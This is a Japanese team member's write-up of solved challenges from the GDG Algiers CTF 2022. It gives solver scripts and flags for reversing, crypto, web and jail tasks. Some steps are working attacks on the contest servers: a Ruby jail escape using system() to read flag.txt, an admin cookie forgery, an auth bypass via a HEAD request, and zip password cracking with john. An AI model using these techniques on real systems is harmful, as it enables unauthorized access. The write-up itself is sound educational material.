この大会は2022/10/8 3:00(JST)~2022/10/10 3:00(JST)に開催されました。
今回もチームで参戦。結果は2712点で264チーム中17位でした。
自分で解けた問題をWriteupとして書いておきます。
Sanity Check (misc)
Discordに入り、#rulesチャネルを見たら、フラグが書いてあった。
CyberErudites{W3lc0m3_To_GDG_ALGIERS_CTF}
POSTAL (misc)
画像の左上にAustralia Post 4-State Barcodeがある。アルファベットのコードにすると、以下のようになる。
ATDFFDDADDAADAADFAFAFFAFATAFAAATADTAFDTDDDDDDDTTTTTTTTADAFFFAFAAAAT
http://bobcodes.weebly.com/auspost.htmlでAlphanumericでデコードする。
Format Control Code: 62 Sorting Code: 78475110 Customer Information Field: K4N64r00zz
この情報をsteghideのパスワードとして秘密情報を抽出する。
$ steghide extract -sf msg.jpg -p K4N64r00zz wrote extracted data to "Treasure.zip".
抽出したzipファイルはパスワードがかかっている。zip2johnなどもエラーになる。zipファイルが壊れているようだ。バイナリエディタで確認しながら、以下修正する。<||
0x0012-0x0015: 00 00 00 00 -> 72 00 00 00 (0x01df-0x1e2の値より)
0x00e3-0x00e6: 00 00 00 00 -> 95 00 00 00 (0x023e-0x241の値より)
|
$ zip2john Treasure_fix.zip > hash.txt ver 2.0 efh 5455 efh 7875 efh 9901 Treasure_fix.zip/findme PKZIP Encr: 2b chk, TS_chk, cmplen=114, decmplen=102, crc=0 ver 2.0 efh 5455 efh 7875 efh 9901 Treasure_fix.zip/flag.txt.gpg PKZIP Encr: 2b chk, TS_chk, cmplen=149, decmplen=116, crc=0 NOTE: It is assumed that all files in each archive have the same password. If that is not the case, the hash may be uncrackable. To avoid this, use option -o to pick a file at a time. $ john --wordlist=dict/rockyou.txt hash.txt --rules Using default input encoding: UTF-8 Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status baltimore (Treasure_fix.zip/findme) 1g 0:00:00:39 DONE (2022-10-09 15:46) 0.02560g/s 314.6p/s 314.6c/s 314.6C/s total90..hawkeye Use the "--show" option to display all of the cracked passwords reliably Session completed
パスワードは"baltimore"であるとわかったので、解凍する。
$ 7z x Treasure_fix.zip 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=ja_JP.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i7-10700 CPU @ 2.90GHz (A0655),ASM,AES-NI) Scanning the drive for archives: 1 file, 677 bytes (1 KiB) Extracting archive: Treasure_fix.zip -- Path = Treasure_fix.zip Type = zip Physical Size = 677 Enter password (will not be echoed): Everything is Ok Files: 2 Size: 218 Compressed: 677 $ ls -l f* -rwxrwxrwx 1 root root 102 9月 20 22:35 findme -rwxrwxrwx 1 root root 116 9月 20 22:31 flag.txt.gpg $ cat findme nice you are close do you know gpg....? I think you have the password just get back to your notes :) $ file flag.txt.gpg flag.txt.gpg: GPG symmetrically encrypted data (AES256 cipher)
txtとgpgファイルが展開される。gpgファイルを復号する。
$ gpg flag.txt.gpg gpg: ディレクトリ'/home/ctf/.gnupg'が作成されました gpg: keybox'/home/ctf/.gnupg/pubring.kbx'が作成されました gpg: *警告*: コマンドが指定されていません。なにを意味しているのか当ててみます ... gpg: AES256.CFB暗号化済みデータ gpg: 1 個のパスフレーズで暗号化
パスフレーズを聞かれるが、結局Australia Post 4-State BarcodeのSorting Code "78475110"で復号できた。
$ cat flag.txt CyberErudites{4U57r4114_P057_4_57473}
CyberErudites{4U57r4114_P057_4_57473}
Red Diamond (jail)
Rubyの関数が使えるようなので、system関数でシェルを実行する。
$ nc -v jail.chal.ctf.gdgalgiers.com 1303 Connection to jail.chal.ctf.gdgalgiers.com (34.154.161.90) 1303 port [tcp/*] succeeded! > Welcome to my personal calculator > To end the program type EXIT OPERATION : system("ls") chall.rb entrypoint.sh flag.txt Result is : true OPERATION : system("cat flag.txt") CyberErudites{I_Th0ugh7_CAlcul4t0rs_C4n_OnlY_b3_eXploited_in_PYY}
CyberErudites{I_Th0ugh7_CAlcul4t0rs_C4n_OnlY_b3_eXploited_in_PYY}
traditions (reverse)
Ghidraでデコンパイルする。
undefined8 main(void) { int iVar1; size_t sVar2; ulong uVar3; char local_118 [48]; uint local_e8 [4]; undefined4 local_d8; undefined4 local_d4; undefined4 local_d0; undefined4 local_cc; undefined4 local_c8; undefined4 local_c4; undefined4 local_c0; undefined4 local_bc; undefined4 local_b8; undefined4 local_b4; undefined4 local_b0; undefined4 local_ac; undefined4 local_a8; undefined4 local_a4; undefined4 local_a0; undefined4 local_9c; undefined4 local_98; undefined4 local_94; undefined4 local_90; undefined4 local_8c; undefined4 local_88; undefined4 local_84; undefined4 local_80; undefined4 local_7c; undefined4 local_78; undefined4 local_74; undefined4 local_70; undefined4 local_6c; undefined4 local_68; undefined4 local_64; undefined4 local_60; undefined4 local_5c; undefined4 local_58; undefined4 local_54; undefined4 local_50; undefined4 local_4c; undefined4 local_48; undefined4 local_44; undefined4 local_40; undefined4 local_3c; undefined4 local_38; undefined4 local_34; undefined4 local_30; undefined4 local_2c; uint local_24; uint local_20; int local_1c; local_e8[0] = 0x15; local_e8[1] = 0x91; local_e8[2] = 0x2a; local_e8[3] = 0x59; local_d8 = 0x72; local_d4 = 0x1e; local_d0 = 0xd9; local_cc = 10; local_c8 = 0xb6; local_c4 = 0xf1; local_c0 = 0x2a; local_bc = 0xba; local_b8 = 0x5f; local_b4 = 0x66; local_b0 = 0x70; local_ac = 0x61; local_a8 = 0x4f; local_a4 = 0xf7; local_a0 = 0xd1; local_9c = 0x49; local_98 = 0xd6; local_94 = 0xac; local_90 = 0xb4; local_8c = 0x21; local_88 = 0xb2; local_84 = 0x1e; local_80 = 0x94; local_7c = 0x28; local_78 = 0x5a; local_74 = 0x57; local_70 = 0xaa; local_6c = 0x15; local_68 = 199; local_64 = 10; local_60 = 200; local_5c = 0xa3; local_58 = 0xf0; local_54 = 0x76; local_50 = 3; local_4c = 0x34; local_48 = 0x88; local_44 = 0xe1; local_40 = 0x24; local_3c = 99; local_38 = 0xc2; local_34 = 0x13; local_30 = 0x5a; local_2c = 2; srand(0x7e6); printf("Enter the password : "); fgets(local_118,0x30,stdin); sVar2 = strlen(local_118); if (sVar2 != 0x2f) { printf("Wrong length"); /* WARNING: Subroutine does not return */ exit(1); } local_1c = 0; while( true ) { uVar3 = (ulong)local_1c; sVar2 = strlen(local_118); if (sVar2 <= uVar3) { puts("Correct, you can submit the flag"); return 0; } iVar1 = rand(); local_20 = (uint)(iVar1 >> 0x1f) >> 0x18; local_20 = (iVar1 + local_20 & 0xff) - local_20; local_24 = (int)local_118[local_1c] ^ local_20; if (local_24 != local_e8[local_1c]) break; local_1c = local_1c + 1; } printf("WRONG"); /* WARNING: Subroutine does not return */ exit(1); }
このバイナリの処理概要は以下の通り。
・srand(0x7e6) ・local_118: フラグ入力 ・フラグの長さは0x2fであることをチェック ・各文字について以下を実行する。 ・iVar1 = rand() ・local_20 = (uint)(iVar1 >> 0x1f) >> 0x18; ・local_20 = (iVar1 + local_20 & 0xff) - local_20; ・local_24 = (int)local_118[i] ^ local_20; ・local_24が特定の値であることのチェック
乱数はsrandで分かっているので、それを元に妥当な入力文字列を求める。
#include <stdio.h> #include <stdlib.h> void main() { int v[0x2f] = {0x15, 0x91, 0x2a, 0x59, 0x72, 0x1e, 0xd9, 10, 0xb6, 0xf1, 0x2a, 0xba, 0x5f, 0x66, 0x70, 0x61, 0x4f, 0xf7, 0xd1, 0x49, 0xd6, 0xac, 0xb4, 0x21, 0xb2, 0x1e, 0x94, 0x28, 0x5a, 0x57, 0xaa, 0x15, 199, 10, 200, 0xa3, 0xf0, 0x76, 3, 0x34, 0x88, 0xe1, 0x24, 99, 0xc2, 0x13, 0x5a}; int r; int a; srand(0x7e6); for (int i; i < 0x2f; i++) { r = rand(); a = (r >> 0x1f) >> 0x18; a = (r + a & 0xff) - a; printf("%c", a ^ v[i]); } printf("\n"); }
CyberErudites{DA_Cl4$$IC_X0R_X_N07_Th4t_R4nd0m}
impossible_challenge (reverse)
Ghidraでデコンパイルする。
undefined8 main(void) { time_t tVar1; long in_FS_OFFSET; byte local_13d; int local_13c; int local_138; int local_134; int local_130; undefined4 local_12c; undefined4 local_128 [4]; undefined4 local_118; undefined4 local_114; undefined4 local_110; undefined4 local_10c; undefined4 local_108; undefined4 local_104; undefined4 local_100; undefined4 local_fc; undefined4 local_f8; undefined4 local_f4; undefined4 local_f0; undefined4 local_ec; undefined4 local_e8; undefined4 local_e4; undefined4 local_e0; undefined4 local_dc; undefined4 local_d8; undefined4 local_d4; undefined4 local_d0; undefined4 local_cc; undefined4 local_c8; undefined4 local_c4; undefined4 local_c0; undefined4 local_bc; undefined4 local_b8; undefined4 local_b4; undefined4 local_b0; undefined4 local_ac; undefined4 local_a8; undefined4 local_a4; undefined4 local_a0; undefined4 local_9c; undefined4 local_98; undefined4 local_94; undefined4 local_90; undefined4 local_8c; char local_79; char local_78 [104]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); fwrite("Let me check your secret: ",1,0x1a,stdout); fgets(local_78,100,stdin); tVar1 = time((time_t *)0x0); srand((uint)tVar1); local_138 = rand(); local_134 = rand(); local_130 = rand(); if (((local_138 == local_134) && (local_134 == local_130)) && (local_130 == local_78[0] * local_138)) { local_128[0] = 6; local_128[1] = 0x3c; local_128[2] = 0x27; local_128[3] = 0x20; local_118 = 0x37; local_114 = 0; local_110 = 0x37; local_10c = 0x30; local_108 = 0x21; local_104 = 0x2c; local_100 = 0x31; local_fc = 0x20; local_f8 = 0x36; local_f4 = 0x3e; local_f0 = 0x61; local_ec = 0x20; local_e8 = 0; local_e4 = 0x1a; local_e0 = 0x2b; local_dc = 10; local_d8 = 0x31; local_d4 = 0x2d; local_d0 = 0xc; local_cc = 0xb; local_c8 = 2; local_c4 = 0x1a; local_c0 = 0xc; local_bc = 0x61; local_b8 = 0x1a; local_b4 = 0x74; local_b0 = 0x28; local_ac = 0x35; local_a8 = 0x2a; local_a4 = 0x61; local_a0 = 0x61; local_9c = 0x2c; local_98 = 7; local_94 = 0x29; local_90 = 0x20; local_8c = 0x38; local_79 = '\0'; local_12c = 0x45; for (local_13c = 0; local_13c < 0x28; local_13c = local_13c + 1) { local_13d = (byte)local_12c ^ (byte)local_128[local_13c]; strncat(&local_79,(char *)&local_13d,1); } } else { fwrite("\nHmmm, that seems wrong",1,0x17,stdout); } fputc(10,stdout); if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) { return 0; } /* WARNING: Subroutine does not return */ __stack_chk_fail(); }
local_128[0]以降0x45とXORして復号する。
#!/usr/bin/env python3 enc = [6, 0x3c, 0x27, 0x20, 0x37, 0, 0x37, 0x30, 0x21, 0x2c, 0x31, 0x20, 0x36, 0x3e, 0x61, 0x20, 0, 0x1a, 0x2b, 10, 0x31, 0x2d, 0xc, 0xb, 2, 0x1a, 0xc, 0x61, 0x1a, 0x74, 0x28, 0x35, 0x2a, 0x61, 0x61, 0x2c, 7, 0x29, 0x20, 0x38] flag = '' for c in enc: flag += chr(c ^ 0x45) print(flag)
CyberErudites{$eE_nOthING_I$_1mpo$$iBle}
cookauth (web)
クッキーの_info_userに以下が設定されている。
7b2275736572223a20226775657374227d
hexデコードしてみる。
$ echo 7b2275736572223a20226775657374227d | xxd -r -p {"user": "guest"}
"user"の値を"admin"にして、hexエンコードする。
$ echo -n '{"user": "admin"}' | xxd -p 7b2275736572223a202261646d696e227d
この値をクッキーに設定し、[Admin]をクリックすると、フラグが表示される。
Good, the flag is CyberErudites{7H1$_WA$_T0O_wE4k_FOR_4_VAlID471on}
CyberErudites{7H1$_WA$_T0O_wE4k_FOR_4_VAlID471on}
ezphp (web)
phpのコードはこのようになっている。
GETパラメータのloginが"admin"であれば、passが何であってもフラグが表示される。https://ezphp.chal.ctf.gdgalgiers.com/?login=admin&pass=adminにアクセスし、リロードすると、フラグが表示された。
CyberErudites{NeV3R_tRU$T_pHP_MethoD$}
ezphp (fixed) (web)
phpのコードはこのようになっている。
HEADメソッドでアクセスすることによって、$_SESSION["admin"]の値を1の状態にする。その後、再度GETメソッドでアクセスすると、フラグが表示される。
#!/usr/bin/env python3 import requests url = 'http://ezphp-fixed.chal.ctf.gdgalgiers.com/?login=admin&pass=admin' s = requests.Session() r = s.head(url) r = s.get(url) print(r.text)
実行結果は以下の通り。
CyberErudites{svJZiv0xEgiEvitoKQbxM3ujGItEZlRo}Wrong password
CyberErudites{svJZiv0xEgiEvitoKQbxM3ujGItEZlRo}
eXORcist (crypto)
サーバの処理概要は以下の通り。
・以下繰り返し ・message: 入力 ・messageの長さが20未満の場合、終了 ・key: messageの長さで生成 ・random_seed: ランダム16バイト文字列 ・key: random_seedの繰り返しでmessageの長さで切る。 ・offset: messageの長さ未満のランダム整数 ・cipher: message[:offset]+FLAG+message[offset:]とkeyのXOR ・cipherを16進数表記で表示
同じ文字の長い文字列を入力し、後ろにも先頭16バイトと同じ文字列があったら、keyが割り出せる。あとはそのkeyを元に復号する。
#!/usr/bin/env python3 import socket def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('crypto.chal.ctf.gdgalgiers.com', 1002)) data = recvuntil(s, b'\n').rstrip() print(data) message = 'a' * 1024 while True: data = recvuntil(s, b'>> ') print(data + message) s.sendall(message.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) cipher = bytes.fromhex(data[2:]).decode() blocks = [cipher[i:i+16] for i in range(0, len(cipher), 16)] assert blocks.count(blocks[0]) > 50 break key = '' for i in range(16): key += chr(ord(blocks[0][i]) ^ ord('a')) message = '' for i in range(len(cipher)): message += chr(ord(cipher[i]) ^ ord(key[i % len(key)])) flag = message.replace('a', '') print(flag)
実行結果は以下の通り。
Hello Stranger, send me your secret and I will make sure to roll it up >> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa > c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093364c3a442391651c38f2c091576c396c3b0c299316252c3824b325463c3a2315d0b5dc3a7c2b3c2bd301d75c3a0413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63 CyberErudites{Y0u_kn0w_h0w_T0_XOR}
CyberErudites{Y0u_kn0w_h0w_T0_XOR}
Eddy (crypto)
サーバの処理概要は以下の通り。
・sk: ランダム32バイト文字列 ・pk = create_verifying_key(sk) ・R_flag,S_flag,e_flag = signature(flag,sk,pk) ・以下繰り返し ・c: 入力 ・cが'1'の場合 ・msg: 入力 ・pk = create_verifying_key(sk) ・R, S, e = signature(msg, sk, pk) →表示 ・cが'2'の場合 ・msg: 入力 ・privk: 数値入力 ・privk: privkを文字列化 ・pk = create_verifying_key(privk) ・R, S, e = signature(msg, sk, pk) →表示 ・cが'3'の場合 ・pk: 数値入力 ・pk: pkを文字列化 ・checkvalid(R_flag+scalar_to_bytes(S_flag),flag,pk)がTrueの場合、フラグを表示
R1, S1, e1 = signature(m, sk, pk1) R2, S2, e2 = signature(m, sk, pk2) q = pow(2, 555) - 19 e_inv = inverse(e1 - e2, q) a = ((S1 - S2) * e_inv) % q A = Base.scalarmult(a) pk = A.to_bytes()
このpkの数値を指定すれば、フラグが得られる。
#!/usr/bin/env python3 import socket from challenge import * from Crypto.Util.number import * from pure25519.basic import Base def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('crypto.chal.ctf.gdgalgiers.com', 1000)) msg = 1234 pk1 = bytes_to_long(create_verifying_key(create_signing_key())) pk2 = bytes_to_long(create_verifying_key(create_signing_key())) pks = [pk1, pk2] Ss = [] es = [] for i in range(2): data = recvuntil(s, b'> ') print(data + '2') s.sendall(b'2\n') data = recvuntil(s, b': ') print(data + str(msg)) s.sendall(str(msg).encode() + b'\n') data = recvuntil(s, b': ') print(data + str(pks[i])) s.sendall(str(pks[i]).encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) params = eval(data) S = params['S'] e = params['e'] Ss.append(S) es.append(e) q = pow(2, 555) - 19 e_inv = inverse(es[0] - es[1], q) a = ((Ss[0] - Ss[1]) * e_inv) % q A = Base.scalarmult(a) pk = bytes_to_long(A.to_bytes()) data = recvuntil(s, b'> ') print(data + '3') s.sendall(b'3\n') data = recvuntil(s, b': ') print(data + str(pk)) s.sendall(str(pk).encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data)
実行結果は以下の通り。
Welcom to my singing server ! ----------Menu---------- 1- Sign a message with a random private key 2- Sign a message with your private key 3- Verify the flag 4- Quit ------------------------ > 2 Enter your message : 1234 Enter your private key : 6906475056413756674020679314103758557738384536173575876810878677264722130175 {'R': b'\x18,\x1b\xc3|[\x819^\x89\x0e\xf1.h\xbal\xb8\xe6k\x9amoP\x01V\x84\xf8\xd1:\xab\xaci', 'S': 542280671233816833822978152703995239579884810037886952635241933357042760091068299115723499346446055630014035552235669961228261482976930356013985719556427253693990608171337246269661250374315301239652664976757569573179897003661967415, 'e': 9906708280106185661560586328516963443641386350589371938987013810600834344407116216300043208055686366525708254086418110174160780880925507276184660800191870} > 2 Enter your message : 1234 Enter your private key : 63593491975803293653313952919218769465454549574375803498248681965114332215503 {'R': b'\x18,\x1b\xc3|[\x819^\x89\x0e\xf1.h\xbal\xb8\xe6k\x9amoP\x01V\x84\xf8\xd1:\xab\xaci', 'S': 416413352714987423187386290400254578745268928347877271490888975752285505836813611699217002548913265042418245067293866595733139263351804562848477714029058066152161715214693050040421087923332121472008649621799540253884990502751917375, 'e': 7607288675626853313778869611252876925937086271479932335281934512095255756318608568338977145788326277242356177698457968047896620627313056504903707907539227} > 3 Enter your public key : 113279529366378411176516811822239700651291114174245428099855034180580509187362 You are an admin, Here's your flag b'CyberErudites{ed25519_Uns4f3_L1b5}'
CyberErudites{ed25519_Uns4f3_L1b5}
The Matrix (crypto)
行列のDLPを解く必要がある。
G * G * ... * G = pub
pub = P * J * inverse(P)となるJ(=ジョルダン標準形), Pを求める。
G * ... * G = P * J * inverse(P) ↓ (inverse(P) * G * P) ** priv = J
あとは各要素のDLPを解き、G**priv = pubになるprivを探し、AES暗号の復号を行う。
#!/usr/bin/sage import json from Crypto.Hash import SHA256 from Crypto.Cipher import AES from Crypto.Util.Padding import unpad def read_matrix(file_name): data = open(file_name, 'r').read().strip() rows = [list(eval(row)) for row in data.splitlines()] return Matrix(GF(p), rows) with open('encrypted_flag.txt', 'r') as f: params = json.load(f) iv = bytes.fromhex(params['iv']) encrypted_flag = bytes.fromhex(params['ciphertext']) p = int(params['p']) G = read_matrix('matrix.txt') pub = read_matrix('public_key.txt') J, P = pub.jordan_form(transformation=True) G2 = ~P * G * P for i in range(12): R = IntegerModRing(p) priv = discrete_log(R(J[i][i]), R(G2[i][i])) if G**priv == pub: break key = SHA256.new(data=str(priv).encode()).digest()[:2**8] cipher = AES.new(key, AES.MODE_CBC, iv) flag = unpad(cipher.decrypt(encrypted_flag), 16).decode() print(flag)
CyberErudites{Di4g0n4l1zabl3_M4tric3s_d4_b3st}
The_Messager (crypto)
1文字ずつRSA暗号化しているので、ブルートフォースで求める。
#!/usr/bin/python3 from values import * flag = '' for i in range(len(ct)): for code in range(32, 127): if pow(code, e, N) == ct[i]: flag += chr(code) break print(flag)
CyberErudites{RSA_1S_S1MPL3}
franklin-last-words (crypto)
暗号化処理は以下の通り。
・e = 3 ・p, q: 512ビット素数 ・N = p * q ・N, e出力 ・rand: ランダム64バイトの数値化したもの ・ct = [] ・randを24ビット左シフトしたものを暗号化(pow(m, e, N))し、ctに追加 ・FLAGの各文字について、以下の暗号化したものをctに追加 ・pow(c, 3, N) + (m << 24)
R = rand << 24とする。
ct[0] = pow(R, e, N)
ct[1] = pow(pow(FLAG[0], e, N) + R, e, N)
ct[2] = pow(pow(FLAG[1], e, N) + R, e, N)
:
|
Franklin-Reiter Related Message Attackでct[0], ct[1]から、フラグが"C"から始まることを前提にRを求める。あとは1文字ずつブルートフォースでフラグを求めればよい。
#!/user/bin/sage from message import * def related_message_attack(c1, c2, diff, e, n): PRx.<x> = PolynomialRing(Zmod(n)) g1 = x^e - c1 g2 = (x+diff)^e - c2 def gcd(g1, g2): while g2: g1, g2 = g2, g1 % g2 return g1.monic() return -gcd(g1, g2)[0] diff = pow(ord('C'), e, N) R = related_message_attack(ct[0], ct[1], diff, e, N) flag = '' for i in range(len(ct)): for code in range(32, 127): if pow(pow(code, e, N) + R, e, N) == ct[i]: flag += chr(code) break print(flag)
CyberErudites{Fr4nkl1n_W3_n33d_an0th3R_S3450N_A54P}